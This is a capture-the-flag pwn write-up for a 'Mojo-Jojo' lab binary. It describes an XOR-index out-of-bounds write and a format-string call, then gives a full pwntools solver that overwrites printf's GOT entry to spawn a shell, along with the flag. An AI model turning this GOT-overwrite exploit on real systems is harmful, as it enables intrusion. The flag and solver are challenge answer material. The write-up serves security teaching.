MOJO-JOJO CTF / Pwn WRITEUP
MOJO_LAB
MOJO-JOJO CTF binary-exploitation writeup.
EVENTMOJO-JOJO CTFCATEGORYPwnDIFFICULTYhardPOINTSArchived
Walkthrough
Reconnaissance
pwndbg> checksec ./main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Vulnerabilities
1. OOB Write via XOR Index
modifier[idx ^ 0x7050] = (unsigned short)val;
The index is XOR'd with 0x7050 before use. By choosing idx carefully, we can write a 16-bit value anywhere relative to dna_sequences — including the GOT.
2. Format String in Chemical X
printf(chemical_x); // controlled input!
The '%' character is filtered from chemical_x, but the OOB write lets us overwrite GOT entries (e.g., printf@got → lab_win).
Strategy
- Calculate the offset from
dna_sequencestoprintf@got - XOR that index with
0x7050to get the required input index - Use two 16-bit writes to overwrite
printf@gotwithlab_win - Trigger option 2 ("Synthesize Chemical X") → calls
printf(chemical_x)→ now jumps tolab_win() lab_win()callssystem("/bin/sh")
Result
[MOJO JOJO]: NOOOOO! You have compromised my laboratory!
$ cat flag.txt
MOJO-JOJO{m0j0_l4b_0wn3d}
Reference solver
The reference solver supplied with the writeup:
from pwn import *
import sys
# Set context
context.binary = binary = ELF('./main')
context.log_level = 'info'
if args.REMOTE:
host = args.HOST or '4.233.210.175'
port = int(args.PORT or 9007)
p = remote(host, port)
else:
p = process('./main')
def get_menu():
p.recvuntil(b'> ')
def write_val(idx, val):
get_menu()
p.sendline(b'1') # Modify DNA Sequence
p.recvuntil(b'DNA Slot Index: ')
# The Monkey Math: inverse the XOR to hit the target
p.sendline(str(idx ^ 0x7050).encode())
p.recvuntil(b'Base Pair Value: ')
p.sendline(str(val).encode())
p.recvuntil(b'[LAB]: DNA sequence updated successfully.\n')
def trigger():
get_menu()
p.sendline(b'2') # Synthesize Chemical X
# Exploit Logic
# 1. Target: printf@GOT
# 2. Value: lab_win() address
# 3. Primitive: 2-byte write via 'unsigned short' array
# Note: In the new main.c, global names are chemical_x and dna_sequences
got_printf = binary.got['printf']
sym_dna = binary.symbols['dna_sequences']
sym_win = binary.symbols['lab_win']
log.info(f"printf@GOT: {hex(got_printf)}")
log.info(f"dna_sequences: {hex(sym_dna)}")
log.info(f"lab_win: {hex(sym_win)}")
# Calculate start index
# dna_sequences + i * 2 = got_printf => i = (got_printf - dna_sequences) / 2
idx_start = (got_printf - sym_dna) // 2
log.info(f"Index start: {idx_start}")
chunks = [
(sym_win >> 0) & 0xFFFF,
(sym_win >> 16) & 0xFFFF,
(sym_win >> 32) & 0xFFFF,
(sym_win >> 48) & 0xFFFF
]
p.recvuntil(b'Input your Chemical X formula: ')
p.sendline(b"HELLO-MOJO") # Initial formula
for i, chunk in enumerate(chunks):
log.info(f"Writing chunk {i}: {hex(chunk)} at idx {idx_start + i}")
write_val(idx_start + i, chunk)
log.info("Triggering synthesized formula...")
trigger()
p.interactive()Flag
MOJO-JOJO{m0j0_l4b_0wn3d}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn